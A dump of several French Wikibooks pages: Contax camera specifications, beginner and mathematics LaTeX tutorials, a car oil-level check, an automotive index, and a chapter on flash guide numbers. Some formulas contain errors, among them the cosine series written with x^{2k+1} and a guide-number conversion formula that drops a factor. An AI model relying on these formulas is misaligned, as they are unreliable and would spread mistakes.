semi-automatique, vitesses réglables pas-à-pas de 1/1000 s à 15 s, pose B et X ; couplage automatique flash/obturateur avec les mo­dèles TLA. * Déclencheur : électromagnétique ; course 0,7 mm ; prise pour acces­soires de télécommande, * Contrôle de l'exposition : mesure derrière l'objectif (TTL), intégrale pondérée au centre, par élément photosensible au silicium ; sensibilité de IL 0 à IL +18 (100 ISO, f/1,4). Avec les flashs TLA, contrôle de l'éclair sur le plan du film (flash TTL). * Sensibilité film : de 12 à 3200 ISO. * Informations dans le viseur : diodes électroluminescentes indicatrices de vitesse, correction d'exposition, témoins de flash, signaux de sur et sous-exposition ; renvoi optique de l'ouverture ; compte-vues. Coupure automatique de l'affichage au bout de 1 s. * Mémorisation de la mesure : en mode automatique, le dispositif AE Lock bloque la vitesse sur la valeur calculée par l'appareil ; l'ouverture peut être modifiée. * Retardateur : électronique, contrôlé par quartz ; délai 10 s ; débrayable à tout moment ; diode rouge témoin de fonctionnement. * Avance du film : armement et avance du film automatiques par moteur intégré, en vue par vue ou en continu jusqu'à 3 im/s. * Correction d'exposition : de-2 à+2IL en 1/2 paliers. * Compteur de vues : additif à remise à zéro automatique ; rappelé dans le vi­seur. * Expositions multiples : non, * Touche de profondeur de champ * Contrôle de piles : une DEL témoin s'allume en vert lorsque la tension est suffisante et si le sélecteur principal est sur la position BC. * Alimentation : 4 piles AA de 1,5 V (ou accus Ni Cd de 1,2V). * Sélecteur principal : 4 positions ; active les fonctions électroniques, sert à la mémorisation de la mesure (AE Lock) et à contrôler les piles. * Dimension: 142 x 92,5 x 51 mm (boîtier seul). * Poids: 610 g (boîtier seul, sans pile), === Contax 139 quartz (vers 1983) === [[Image:Yashica Contax 139 quartz.jpg|thumb|180px|Yashica Contax 139 quartz]] * Type : appareil 24x36 reflex ; contrôle de l'exposition auto­matique à priorité à l'ouverture, ou manuel ; pilotage par quartz ; système Contax TLA de contrôle automatique du flash­ * Viseur : pentaprisme à faces argentées montrant 95% de champ enregistré ; grossissement 0,86x. * Monture d'objectif : baïonnette Contax/Yashica à trois griffes. * Obturateur : plan-focal, métallique à course verticale piloté par quartz ; contrôlé électroniquement. En mode automatique, vitesse variable en continu de 1/1 OOO s à 11 s ; en mode semi-automatique, vitesses réglables pas-à-pas de 1/1000 s à 1 s, pose B et «X». Couplage automatique flash/obturateur avec les modèles TLA. * Déclencheur : électromagnétique ; course 0,7 mm ; prise pour acces­soires de télécommande. * Contrôle de l'exposition : mesure derrière l'objectif (TTL), intégrale pondérée au centre, par élément sensible au silicium ; sensibilité de IL O à IL +18 (100 ASA, f/1 ,4). Avec les flash TLA, contrôle automatique de l'éclair sur le plan du film. * Sensibilité film : de 12 à 3200 ISO * Informations dans le viseur : diodes électroluminescentes (DEL) indicatrices de vi­tesse, témoins de flash, sur et sous-exposition ; renvoi optique de l'ouverture ; correction d'exposition. Coupure automatique de l'affichage au bout de 10 s. * Mémorisation de la mesure : en mode automatique, ie dispositif AE Lock bloque seulement la vitesse d'obturation ; l'ouverture peut être modifiée. * Retardateur : électronique, contrôlé par quartz ; délai 10 s ; débrayable à tout moment ; diode rouge témoin de fonctionnement. * Avance du film : armement et avance du film manuel par levier (course 135°}, ou automatique par moteur 139 jusqu'à 2 vues par seconde. * Correction d'exposition : de -2 à +2 IL en 1 palier. * Compteur de vues : additif à remise à zéro automatique. * Expositions multiples : par l'intermédiaire du bouton de débrayage de l'axe d'entraînement (le compteur n'avance pas). * Touche de profondeur de champ * Contrôle de piles : les DEL d'affichage du viseur clignotent lorsque la ten­sion devient insuffisante­ * Alimentation : par deux piles à l'oxyde d'argent de 1,55 V (SR44) ou alcalino-manganése de 1,5 V (LR44). * Dimensions : 135 x 85,5 x 50 mm (boîtier seul). * Poids: 500 g (boîtier seul, sans pile). Modèle:Code Python 6152 26902 2005-12-17T12:36:12Z Dake 577 {| style="border:1px #808080 dashed; padding:0px; margin-left: 10px; text-align:left; background: #FBFBFB;" | <font face="Courier New, Courier, mono">{{{1}}}</font> |} Programmation LaTeX Novices 6153 27989 2005-12-30T23:09:59Z Esope 99 /* Quelle est la signification de ce texte ? */ s/Le commentaire/Les commentaires {{LaTeX-nav}} Ce cours a pour but de vous familiariser avec les bases du Latex. Nous commencerons par créer un fichier source en Latex, et nous vous expliquerons comment produire avec le système Latex des documents de qualité au format postcript ou pdf. ==Le fichier source en Latex== Tout d'abord, vous devez savoir que Latex utilise un langage de balises dont le but est de décrire la structure du document et sa présentation. Latex permet de convertir votre texte source comprenant des balises en un document de très grande qualité. À titre de comparaison les pages Web sont créées de façon similaire: le langage HTML est utilisé pour décrire le document, mais c'est votre navigateur qui effectue la mise en page et qui l'affiche sous une forme lisible, avec différentes couleurs et polices de caractères, en différentes tailles etc. Nous allons fournir le strict minimum permettant de produire une page sur laquelle sera écrit un mot, bonjour! par exemple. Exécutez votre éditeur favori. Si vous utilisez vim ou emacs, vous pouvez éventuellement activer le mode de coloration syntaxique qui vous aidera à saisir votre texte. Reproduisez le texte suivant dans votre éditeur. Il s'agit du source en Latex. % bonjour.tex - Notre premier exemple en Latex! \documentclass[A4paper,11pt]{article} \usepackage[french]{babel} \usepackage[T1]{fontenc} \begin{document} Bonjour! \end{document} Enregistrez votre fichier sous le nom bonjour.tex === Quelle est la signification de ce texte ? === {| |- | <span class="command">% bonjour.tex notre premier exemple</span> | La première ligne est un ''commentaire''. C'est parce que la la ligne commence par le symbole de pourcentage (%) que Latex ignore tout le reste de la ligne au cours de l'analyse lexicale. Les commentaires servent au rédacteur à annoter des parties du fichier source. Par exemple vous pourrez placer des informations sur l'auteur, la date où sur tout ce que vous souhaitez. |- | <span class="command">\documentclass{article}</span> | Cette ligne commande au latex d'employer la classe article pour tout le document. Un fichier de classe document définit le formatage, qui est dans ce cas un format d'article générique. Ce qui est pratique c'est de pouvoir changer l'aspect de votre document, pour cela il suffit de remplacer article par un autre fichier de classe existant. |- | <span class="command">\begin{document}</span> | Cette commande marque le début du document en le signalant au Latex. Tout ce qui est placé au dessus de cette commande est généralement appelé le ''préambule''. |- | <span class="command">Bonjour!</span> | Ce mot représente la seule et unique ligne de texte que nous avons voulu écrire dans la page. |- | <span class="command">\end{document}</span> | Cette commande marque la fin du document et avertit Latex que le texte source du document est complet. |} Vous devriez remarquer que chacune des commandes Latex commence par une barre oblique inversée (en anglais antislash) (\). En fait dès que Latex rencontre ce symbole il interprète le mot qui suit comme une commande. Les commentaires ne sont pas considérés comme une commande, puisqu'ils indiquent à Latex d'ignorer la ligne. Les commentaires n'affectent jamais le document produit. Remarquez que si vous voulez employer la barre oblique inversée ou le symbole de pourcentage dans votre texte, vous devez à l'aide d'une commande demander à Latex de dessiner les symboles désirés, sinon il s'attendra à une commande ou à une commentaire. {| ! Symbole ! Commande |- | % | <span class="command">\%</span> |- | \ | <span class="command">\textbackslash</span> |} == Production du document == Il est évident que le document que nous allons générer n'est pas d'un intérêt majeur, mais nous voulons néanmoins voir le résultat. Nous allons supposer que vous avez déjà lancé un interpréteur de commandes et que vous vous êtes placé dans le répertoire où se trouve votre fichier bonjour.tex. # Tapez la commande: ''latex bonjour'' (l'extension .tex n'est pas exigée, bien que vous puissiez l'ajouter si vous le désirez); # quelques informations sur Latex et sa progression seront affichées. Si tout s'est bien passé, les deux dernières lignes affichées à l'écran seront: Output written on bonjour.dvi (1 page, 232 bytes). Transcript written on bonjour.log. Cela signifie que votre fichier source a été traité et le document résultant s'appelle ''bonjour.dvi'' et prend 1 page et 232 octets de mémoire. Remarquez que dans cet exemple, étant donné la simplicité du texte source, vous n'avez besoin d'exécuter la commande latex qu'une seule fois. Cependant, si vous commencez à créer des documents plus complexes, incluant des bibliographies et des référence croisées, latex doit être exécuté à de multiples reprises afin de résoudre les problèmes de références. Mais nous développerons cela ultérieurement. == Visualisation du document == Latex a maintenant fait son travail, ainsi nous pouvons visualiser la sortie. Le format par défaut est DVI (abréviation de device independent, qui signifie dispositif indépendant), et des visionneuses de fichiers de ce format sont disponibles librement pour la plupart des plate-formes. Cependant, il est probable que vous préféreriez avoir un fichier au format postscript ou PDF. Heureusement, il existe des outils qui peuvent convertir le format DVI en PS (et PDF) facilement. === Conversion vers le Postscript === Tapez la commande: ''dvips hello.dvi -o hello.ps'' ''dvips'' est l'utilitaire qui effectue actuellement cette conversion. Le premier paramètre est le fichier au format DVI à convertir. L'option ''-o'' indique que vous voulez que la sortie soit enregistrée en tant que fichier. Et le paramètre qui suit immédiatement est le nom que vous voulez donner au fichier de sortie. Vous pouvez lui donner n'importe quel nom, mais cela a plus de sens de l'appeler bonjour et de lui ajouter l'extension ''.ps''. === Conversion vers le PDF === Il existe deux moyens de générer un fichier au format PDF: # Tappez la commande: ''dvipdf bonjour.dvi bonjour.pdf'' (remarquez qu'il n'y a pas d'option ''-o'' dans cette commande, parce que bien que l'utilitaire soient presque identiques, ils ont une syntaxe légèrement différente); # si vous avez déjà une version de postscript, tapez: ''ps2pdf bonjour.ps bonjour.pdf'' Maintenant il ne reste plus qu'à utiliser votre visionneuse préférée de PS ou de PDF pour visualiser la sortie. Ce que vous devriez voir dans la partie supérieure gauche de la page est le mot ''bonjour!'' et en bas de la page le numéro de page. Le tout écrit dans une police de caractères standard. === Résumé === Nous avons certainement créé le document le plus simple possible que Latex puisse produire (autre qu'une page blanche naturellement) mais il n'y a pas beaucoup à lire. Cependant, maintenant nous avons vu les bases, et comment utiliser réellement le logiciel Latex, nous pouvons avancer et tenter de produire des documents plus étoffés et que nous serions susceptibles d'écrire. Vérification du niveau d'huile moteur 6154 41790 2006-05-08T18:58:16Z 83.115.120.242 /* Évolution */ Voici la procédure de '''vérification du niveau d'huile''' dans un véhicule à moteur. == Préparation == Arrêter le véhicule sur une surface horizontale, attendre une demi heure après l'arrêt du [[w:moteur|moteur]] afin que toute l'huile est le temps de redescendre dans le carter. Se munir d'un chiffon ou d'une feuille ou deux d'essuie-tout et consultez la notice si vous ne savez pas ou se situe la jauge à huile sur le moteur. == Vérification == Au besoin, consulter le mode d'emploi du véhicule pour déterminer comment ouvrir le capot moteur, situer où se trouve la jauge d'huile moteur et le bouchon de remplissage. * Ouvrez le capot moteur, localisez la jauge d'huile. Elle a la forme d'un anneau ou d'un crochet de couleur vive dépassant du moteur. * Tirez sur cet anneau et sortez jusqu'au bout la tige métallique (elle peut faire jusqu'a un mètre de long). * Essuyez la tige et remettez-la en place jusqu'à la butée. * Sans attendre la retirez de nouveau. * Vous pouvez voir à l'extrémité opposé de la poigné, la marque laissé par l'huile : Le niveau doit se situer entre les deux encoches gravées (maximum et minimum). Afin de faire un éventuel appoint sachez que la quantité d'huile entre le maximum et le minimum de la jauge correspond à environ 1/2 litre pour les petits moteurs et environ 1 litre pour les gros moteurs. ===Évolution=== Désormais presque tout les véhicules sont équipés d'une jauge [[w:électronique|électronique]] d'huile. La mesure s'éffectue avant le démarrage du moteur, le résultat s'affiche au tableau de bord pendant quelques secondes encore après le démarrage de ce dernier. Par précaution il n'est pas inutile de vérifier périodiquement le fonctionnement de cette jauge automatique, en se servant de la jauge manuelle qui est toujours présente. ===Appoint=== Pour faire l'appoint, munissez vous d'un bidon d'huile moteur (de préférence la même que celle qui est déjà dans le moteur) et d'un entonnoir. * Localisez le bouchon de remplissage d'huile, il se situe toujours sur le dessus du moteur et est généralement repéré le symbole d'une burette d'huile ou un bidon d'huile. * N'ajoutez pas plus d'huile que nécessaire, un surplus d'huile peut endommager le moteur. ** '''Attention''', n'oubliez pas que l'huille met un temps certain à arriver au carter avant de contrôler à nouveau le niveau. == Intérêt de la vérification == Un moteur doit être correctement lubrifié, afin de permettre aux différentes pièces du moteur de glisser entre elles sans gripper, ni s'user anormalement. Voir [[Tribologie - Couverture|La science des frottements]] * Sans huile le rendement du moteur à explosion déjà faible, serait fortement diminué sans lubrification. * L'huile participe aussi au refroidissement du moteur. [[Mécanique automobile|Retour au sommaire]] Mécanique automobile 6155 28721 2006-01-11T23:28:55Z Pulsar1 149 La '''mécanique automobile''' est l'ensemble des tâches requise pour entretenir, contrôler, réparer et améliorer une automobile. <gallery> Image:Carburateur2.jpg|Carburateur Image:Scheibenbremse(Kfz).JPG|Frein à disque Image:2006 Volvo XC90 V8 engine.jpg|Moteur </gallery> ==Contrôle== * Pneumatique : ** [[Vérification de l'état des pneumatique]] * Lubrifiant : ** [[Vérification du niveau d'huile moteur]] ** [[Vérification du niveau d'huile boite de vitesse]] * Refroidissement : ** [[Vérification du niveau liquide de refridissement]] * Freinage : ** [[Vérification du niveau liquide de frein]] ** [[Vérification des plaquettes]] ==Entretien== * Entretien niveau 1 : ** [[Vidange huile moteur]] ** [[Changement filtre à air]] ** [[Changement bougie d'allumage]] * Entretient niveau 2 : ** [[Remplacement des courroies]] ** [[Vidange huile de la boite de vitesse]] ** [[Changement filtre à carburant]] ** [[Remplacement du liquide de frein]] ** [[Révision du système de freinage]] ==Réparation== [[Category: Livret technique]] Photographie - Chapitre 18 - Les sources d'éclairage 6156 26975 2005-12-18T18:12:24Z Jean-Jacques MILAN 114 {{Photographie}} {{ébauche}} '''Avant que ce chapitre soit tranféré et mis en ordre, vous pouvez créer ici des paragraphes qui seront intégrés à leur juste place par la suite.''' == Énergie et nombre-guide des flashes == Les posemètres conventionnels ne conviennent pas pour mesurer la lumière fournie par les flashes, en raison de la trop courte durée des éclairs. Il existe cependant des posemètres spéciaux, ou flashmètres, qui permettent, en studio, d'obtenir directement le bon réglage du diaphragme. === Le nombre-guide === La détermination des conditions d'exposition se fait à l'aide du nombre guide, qui est le produit de la distance lampe-sujet, exprimée en mètres, par l'ouverture relative du diaphragme. Il dépend de plusieurs facteurs : * l'énergie lumineuse L émise par le tube, exprimée en lumen.seconde (lumen.s); * le coefficient de réflectance M du réflecteur du flash. Ce coefficient, très important, peut varier de 3 à I5 ; * la sensibilité S du film en ISO. Ces facteurs sont reliés entre eux par la formule : Nombre-guide <math>(NG) = \sqrt{0,005 \times L \times M \times S}</math> 0,005 est un coefficient qui dépend des unités employées. === L'énergie lumineuse === L'énergie lumineuse L émise dépend de l'énergie électrique J accumulée dans le condensateur situé dans le circuit du tube, exprimée en joules, et du rendement lumineux K exprimé en lumens par watt. Le rendement peut varier de 20 à 70 lumens par watt : <math>L = K \times J \,</math> L'énergie électrique (exprimée en joules) est le facteur le plus important (ce qui incite certains constructeurs à ne caractériser leurs appareils que sous cette forme) mais elle ne peut en aucun cas se traduire directement par un nombre-guide. Des flashes dont les éclairs ont la même énergie électrique peuvent fort bien avoir des rendements lumineux différents, donc des nombres-guides différents, car les coefficients de réflexion de leurs réflecteurs dépendent de la taille, de la forme et de l'état de surface des surfaces utilisées. == Unités ECPS et BCPS == Les unités ECPS (Effective candlepower.seconds) ou BCPS (Beam candlepower-seconds) traduisent l'énergie lumineuse effective. Ces unités regroupent toutes les caractéristiques de l'ensemble constitué par le tube, le réflecteur et les circuits électriques. Ils s'écrivent : <math>(ECPS) = \frac{1}{4 \pi} \times K \times J \times M</math> de ce fait le nombre guide peut s'écrire : <math>(NG) = \sqrt{0,005 \times (ECPS) \times S}</math> Pour un flash de 200 joules caractérisé par 3 500 unités ECPS, le nombre-guide pour un film type lumière du jour de 50 ISO sera : <math>(NG) = \sqrt{0,005 \times 3 500 \times 50} = 30</math> Donc, à une distance lampe-sujet de 5 mètres, le diaphragme à utiliser sera proche de f/5,6. == Détermination pratique du nombre guide == Lorsque l'ECPS du flash est inconnu, on peut déterminer le nombre-guide à partir d'une série de 6 expositions d'intervalle un demi-diaphragme sur un film inversible couleur type lumière du jour. Le sujet doit être placé à une distance de quelques mètres, dans une pièce aux murs moyennement réfléchissants. Après examen des clichés, on choisit le meilleur et on multiplie l'ouverture de diaphragme à laquelle il a été exposé par la distance lampe-sujet, exprimée en mètres, pour obtenir le nombre-guide. Ce dernier correspondra à la combinaison flash et sensibilité du film, dans la pièce donnée. La valeur trouvée dépendra des caractéristiques de la pièce, elle sera plus élevée si les murs et le décor sont clairs, plus basse si l'ambiance générale est sombre. Connaissant le nombre guide (NG) du flash pour un film de sensibilité S (exprimée en ISO), le nombre guide (NG)' pour un film de sensibilité X sera donné par la formule : <math>(NG)' = \sqrt{\frac{X}{S}}</math> Par exemple, si le nombre-guide d'un flash est de 30 pour un film de 50 ISO lumière du jour, la valeur pour un film de 160 ISO et de même type sera : <math>(NG)' = 30 \sqrt{\frac{160}{50}} = 54</math> Programmation LaTeX Mathématiques 6157 43551 2006-05-31T09:42:31Z 81.65.117.181 /* La mise en caractère romain dans les formules */ {{LaTeX-nav}} L'une des plus grandes motivations de Donald Knuth quand il a commencé à développer le système TeX original fut de créer un logiciel permettant la construction simple de formules mathématiques, tout en ayant un résultat à l'impression de qualité professionnelle. Le fait qu'il ait réussi fut probablement la raison pour laquelle Tex (et plus tard Latex) devint si populaire au sein de la communauté scientifique. Dans l'histoire, la composition des textes mathématiques restera l'une des plus grandes forces du latex. Cependant, c'est également un vaste sujet à cause de l'existence d'un si grand nombre de notations mathématiques. Ainsi cela fera l'objet de la première partie qui sera: acquérir les bases du Latex. === Les environnements mathématiques === Le Latex doit savoir à l'avance que le texte à traiter contient en fait les éléments mathématiques. C'est parce que le Latex compose les notations mathématiques différemment du texte normal. Par conséquent, des environnements spéciaux ont été définis à cette fin. Ils peuvent être répartis en deux catégories selon la façon dont ils sont présentés. Ils peuvent apparaître *dans les textes. Des formules mathématiques sont affichées dans une ligne, c'est-à-dire dans le corps du texte à l'endroit où elles sont écrites, par exemple dans la phrase « nous en déduisons que ''a''+''a''=2''a'', après simplification. »; *de façon isolée (mode mathématique isolé, ''displayed'' en anglais). Les formules affichées sont séparées du texte principal. Comme les mathématiques requièrent des environnements spécifiques, on peut trouver des environnements différents appropriés qui peuvent être utilisés de façon standard. À la différence de la plupart des autres environnements cependant, il y a quelques abréviations permettant de déclarer vos formules. La table suivante les récapitule: {| ! Type ! Environnement ! Abréviation Latex ! Abréviation Tex |- | dans le texte | <tt>\begin{math}...\end{math}</tt> | <tt>\(...)\</tt> | <tt>$...$</tt> |- | Mode mathématique isolé | <tt>\begin{displaymath}...\end{displaymath}</tt> | <tt>\[...]\</tt> | <tt>$$...$$</tt> |} L'utilisation de l'une ou l'autre de ces formes d'environnements est sûre sauf <tt>$$...$$</tt>, qui peut donner un espace différent de <tt>\[...\]</tt> et qui ne supporte pas les équations de nombres du côté gauche (classe <tt>fleqn</tt>). De plus, il y a un second environnement possible pour les formules affichées en ''mode mathématique isolé'': <tt>equation</tt >. La différence entre celui-ci et <tt>displaymath</tt > est que <tt>equation</tt > ajoute également des suites d'équations de nombres par le côté. Donnons tout de suite quelques exemples. $\sqrt{\frac{x^2}{3}}$ va insérer la formule mathématique suivante <math>\sqrt{\frac{x^2}{3}}</math> dans un texte. Autre exemple: $$\sqrt{\frac{x^2}{3}}$$ Cet exemple va afficher la même formule, sauf qu'elle va être centrée sur une nouvelle ligne.<BR> \begin{document}<BR> Voici la fonction $\sin x=\cdots$, la fonction $$\cos x=\sum_{k=0}^{\infty}\frac{(-1)^k}{(2k)!}x^{2k+1}$$ et la fonction $\tan x=\cdots$.<BR> \end{document}<BR> va donner le résultat suivant:<BR> Voici la fonction <math>\sin</math>, la fonction<BR> <CENTER><math>\cos x=\sum_{k=0}^{\infty}\frac{(-1)^k}{(2k)!}x^{2k+1}</math></CENTER><BR> et la fonction tangente <math>\tan</math>...<HR> Autre différence avec la balise $$ par rapport à la balise $:<BR> $\sum_{k=0}^2$ va donner <table><TR><TD rowspan=2><math>\sum</math><TD valign=top><sup>2</sup></TR><TR><TD valign=bottom><sub>k=0</sub></TR></TABLE><BR> alors que $$\sum_{k=0}^2$$ va donner <math>\sum_{k=0}^2</math> ==== Que faut-il écrire dans les balises $ et $$? ==== Regardons premièrement, les puissance (exposants) et les indices des variables. Ceci est très simple, vous allez voir. Exemple, pour insérer <math>x_i^2</math>, il suffi d'entrer le code LaTeX suivant: $x_i^2$ Le symbole ^ met le caractère suivant en exposant, alors que le caratère _ le met en indice. Pour mettre un groupe de caractère, ou toute une fonction en exposant (ou indice) il suffi d'utiliser les balises de groupes { et }. Exemple $x^{x^2}$ va afficher <math>x^{x^2}</math> === Les symboles === Les mathématiques utilisent beaucoup de symboles. Si il y bien une difficulté en Latex c'est de se rappeler de la façon dont les produire. Il y a bien sûr un ensemble de symboles qui peut être directement accessible à partir du clavier: <tt> + - = ! / ( ) [ ] < > | ' :</tt> En dehors de ceux énumérés précédemment, différentes commandes doivent être appelées pour afficher les symboles désirés. Et il existe beaucoup de lettres grecques, de symboles relationnels et ensemblistes, de flèches, d'opérateurs binaires, etc. Un très grand nombre de symboles à apprendre, et en fait, ils surchargeraient ce cours d'instruction si j'essayais de les énumérer tous. Par conséquent, vous pouvez consulter un document complet de référence à [tutorial9/symbols.pdf symbols.pdf]. Nous verrons naturellement certains de ces symboles utilisés dans tout ce cours. === Multiplication === Plusieurs symboles sont habituellement utilisés pour représenter les produits. Il est possible de placer un point entre les deux nombres comme dans l'exemple : $x.y$ ce qui donne <math>x.y</math> ou d'écrire $x\cdot y\ $ ce qui donne <math>x\cdot y</math>. La multiplication peut aussi être représentée par le symbole « fois ». Par exemple, $x\times y$ donne le résultat suivant : <math>x\times y</math>. === Fractions === Pour créer une fraction, vous devez utiliser la commande <tt>\frac{</tt>''num\'erateur''<tt>}{</tt>''d\'enominateur''<tt>}</tt>. Ce qui donne : <math>\frac{num\acute{e}rateur}{d\acute{e}nominateur}</math> (Pour ceux qui ont besoin d'un moyen mnémotechnique, il suffit de retenir de ''haut'' en ''bas'' tout simplement.) Pour pouvez également imbriquer des fractions dans des fractions, comme le montrent les exemples ci-dessous: {| | <tt>\frac{x+y}{y-z}</tt> | <math>\frac{x+y}{y-z}</math> |- | <tt>\frac{\frac{1}{x}+\frac{1}{y}}{y-z}</tt> | <math>\frac{\frac{1}{x}+\frac{1}{y}}{y-z}</math> |} === Puissances et indices === Les puissances et les indices sont les équivalents mathématiques des indices supérieurs et inférieurs dans un texte normal. Le caractère chapeau (^) est utilisé pour élever quelque chose, et celui de soulignement (_) pour abaisser. Voyons un exemple qui montre comment les utiliser: {| | rowspan="2" | Puissance | <tt>x^n</tt> | <math>x^n\,</math> |- | <tt>x^{2n}</tt> | |<math>x^{2n}\,</math> |- | rowspan="2" | Indice | <tt>n_i</tt> | |<math>n_i\,</math> |- | <tt>n_{ij}</tt> | |<math>n_{ij}\,</math> |} Remarque: s'il y a plus d'un caractère à élever (ou à abaisser) alors vous devez les grouper en utilisant les accolades (<tt> { } </tt>). De plus, si vous avez besoin d'assigner en même temps, à la même entité, une puissance et un indice, alors cela peut être réalisé de la manière suivante: <tt>x^{2i}_{3j}</tt> (ou <tt>x_{3j}^{2i}</tt>, l'ordre n'ayant pas d'importance). === Racines === Typiquement, et presque tout le temps, vous êtes amenés à utiliser la racine carrée, qui est obtenue facilement en utilisant la commande suivante: <tt>\sqrt{x}</tt >. Cependant, la racine peut être généralisée pour produire une racine de n'importe quelle ordre: {| | <tt>\sqrt[</tt>''n''<tt>]{</tt>''param''<tt>}</tt> | |<math>\sqrt[n]{x}\,</math> |} Latex s'assure automatiquement que la taille du symbole racine s'ajuste à la taille du contenu. Le ''n'' est facultatif, et sans celui-ci Latex produira une racine carrée. En outre, indépendamment de la taille de la racine, si vous voulez par exemple ''n''=3, vous emploierez toujours la commande <tt>\sqrt</tt >. === Parenthèses === L'utilisation des parenthèses devient très rapidement importante même dans les relations les plus insignifiantes. Sans les parenthèses, les formules peuvent devenir ambiguës. En outre, les types particuliers de structures mathématiques, telles que les matrices, se fondent typiquement sur des parenthèses pour les englober. Vous pouvez vous rappeler que vous avez déjà les symboles du <tt>() [ ]</tt> à votre disposition, qui devraient être plus qu'adaptés aux besoins de la plupart des rédacteurs. Ainsi pourquoi avons nous besoin d'un paragraphe dédié aux parenthèses ? Bien, je pense que la réponse est contenue dans l'exemple suivant: {| | valign="middle" | <tt>\[ (\frac{x^2}{y^3}) \]</tt> | valign="middle" | <math>(\frac{x^2}{y^3})\,</math> |- | <tt>\[ \left(\frac{x^2}{y^3}\right) \]</tt> | <math>\left(\frac{x^2}{y^3}\right)\,</math> |} Le premier exemple montre ce qui se produirait si vous employiez les caractères standards de parenthèses. Comme vous pouvez le voir, ils conviendraient à une simple équation qui tiendrait sur sur une seule ligne (par exemple, (3 + 2) x (10-3) = 35) mais pas à des équations ayant une plus grande taille verticale, comme celles comportant des fractions. Le deuxième exemple illustre la manière dont Latex fait face à ce problème. Les commandes <tt>\left...</tt> et <tt>\right...</tt> permettent d'adapter automatiquement la taille des parenthèses. Vous devez entourer l'expression que vous voulez mettre entre parenthèses avec ces commandes. Les points après la commande devront être remplacés par un des caractères selon le modèle de parenthèse voulu. Il existe en fait beaucoup plus de symboles possibles qui peuvent être employés à la place des crochets, mais sont quelque peu rares. Consultez par exemple le tableau 5 de la référence de symboles ([tutorial9/symbols.pdf symbols.pdf]) pour les autres caractères. Une autre solution est d'utiliser le paquet ''nath'', qui fournit des délimiteurs s'adaptant automatiquement à la taille. === Les fonctions mathématiques === <TABLE><TR><TD><TABLE BORDER=1> <TR><TD><B>Code LaTeX</B><TD><B>Aperçu</B></TR> <TR><TD>\cos<TD><math>\cos</math></TR> <TR><TD>\tan<TD><math>\tan</math></TR> <TR><TD>\arcsin<TD><math>\arcsin</math></TR> </TABLE> <TD> <TABLE BORDER=1><TR><TD><B>Code LaTeX</B><TD><B>Aperçu</B></TR> <TR><TD>\sin<TD><math>\sin</math></TR> <TR><TD>\arctan<TD><math>\arctan</math></TR> <TR><TD>\arccos<TD><math>\arccos</math></TR> </TABLE></TR></TABLE> === Sommes === Le signe de sommation: $\exp(x)=\sum_{k=0}^{\infty}\frac{x^k}{k!}$ donne <math>\exp(x)=\sum_{k=0}^{\infty}\frac{x^k}{k!}</math> (\infty donne le signe infini et \exp l'exponnentiel) === Produits === Le signe de produit: $n!=\prod_{k=1}^n k$ donne <math>n!=\prod_{k=1}^n k</math>. === Intégrales === L'intégrale: $\int_a^b f(x)\,dx$ donne <math>\int_a^b f(x)\,dx</math> (le code \, insère une espace fine ) === Matrices === Latex n'a pas une commande particulière pour créer une matrice. Il dispose à la place d'un environnement un peu plus général, appelé tableau ou <tt>array</tt>. L'environnement <tt>array</tt> est fondamentalement équivalent à l'environnement <tt>table</tt> (voyez [latextutorial4.html didacticiel 4] pour vous remémorer la syntaxe d'une table). Les rangées sont paramétrables, et peuvent être employées dans beaucoup de cas de figure, mais nous nous concentrerons sur les matrices. Vous pouvez employer les tableaux pour placer et aligner vos données comme vous voulez, et ensuite l'entourer avec des parenthèses gauches et droites appropriées pour obtenir votre matrice. Pour une matrice (2, 2) simple: {| | valign="middle" | \[ \left( \begin{array}{ c c } 1 & 2 \\ 3 & 4 \end{array} \right) \] | valign="middle" | [[Image:matrice1.png]] |} ---- Voyons encore un autre exemple: $\begin{array}{l|cr}1 & 2 & 3\\ \hline 4 & 5 & 6\\ 7 & 8 & 9\\\end{array}$ va donner<BR> <pre> 1|23 -+-- 4|56 7|89 </pre> (en plus joli bien sûr)<BR> après la déclaration de l'environement, il faut insérer le type et le nombre de colonnes. Ici {l|cr}.<BR> l: les éléments de la colonne sont alignés à gauche (comme align=left en HTML)<BR> c: les éléments de la colonne sont centré sur la colonne (comme align=center en HTML)<BR> r: les éléments de la colonne sont alignés à droite (comme align=right en HTML)<BR> |: Insert un trait verticale entre deux colonnes<BR> <BR> A l'intérieur de l'environnement, on peut trouver les codes suivants:<BR> \hline: insert une ligne horizontale sur toute la largeur du tableau<BR> &: passe à la colonne suivante (comme &lt;TD&gt; en HTML)<BR> \\: passe à la ligne suivante (comme &lt;/TR&gt; en HTML) Pour une documentation plus approfondie sur les tableaux, allez voir la fonction : [http://fr.wikibooks.org/wiki/Programmation_LaTeX_Faire_des_tableaux] Fichiers: [tutorial9/mathenv.tex mathenv.tex] | [tutorial9/mathenv.pdf mathenv.pdf] | [tutorial9/basic_maths.tex basic_maths.tex] | [tutorial9/basic_maths.pdf basic_maths.pdf] | [tutorial9/matrices.tex matrices.tex] | [tutorial9/matrices.pdf matrices.pdf]<br /> ressources utiles: [tutorial9/symbols.pdf symbols.pdf] Si incluez beaucoup de mathématiques dans vos documents, alors probablement vous vous apercevrez rapidement que vous souhaitez avoir un peu plus de contrôle sur la présentation. Certaines possibilités rendent l'écriture des formules plus complexes - mais qui a dit que la composition des mathématiques était facile ? == Les caractères grecs == <TABLE><TR><TD> <TABLE BORDER=1><TR><TD><B>Code LaTeX</B><TD><B>Aperçu</B></TR> <TR><TD>\alpha<TD><math>\alpha</math></TR> <TR><TD>\beta<TD><math>\beta</math></TR> <TR><TD>\gamma<TD><math>\gamma</math></TR> <TR><TD>\delta<TD><math>\delta</math></TR> <TR><TD>\eta<TD><math>\eta</math></TR> <TR><TD>\theta<TD><math>\theta</math></TR> <TR><TD>\vartheta<TD><math>\vartheta</math></TR> </TABLE> <TD> <TABLE BORDER=1><TR><TD><B>Code LaTeX</B><TD><B>Aperçu</B></TR> <TR><TD>\pi<TD><math>\pi</math></TR> <TR><TD>\sigma<TD><math>\sigma</math></TR> <TR><TD>\tau<TD><math>\tau</math></TR> <TR><TD>\omega<TD><math>\omega</math></TR> <TR><TD>\phi<TD><math>\phi</math></TR> <TR><TD>\varphi<TD><math>\varphi</math></TR> </TABLE> <TD> <TABLE BORDER=1><TR><TD><B>Code LaTeX</B><TD><B>Aperçu</B></TR> <TR><TD>\Pi<TD><math>\Pi</math></TR> <TR><TD>\Sigma<TD><math>\Sigma</math></TR> <TR><TD>\Tau<TD><math>\Tau</math></TR> <TR><TD>\Omega<TD><math>\Omega</math></TR> <TR><TD>\Phi<TD><math>\Phi</math></TR> </TABLE> <TD>Je pense que vous avez compris le principe. 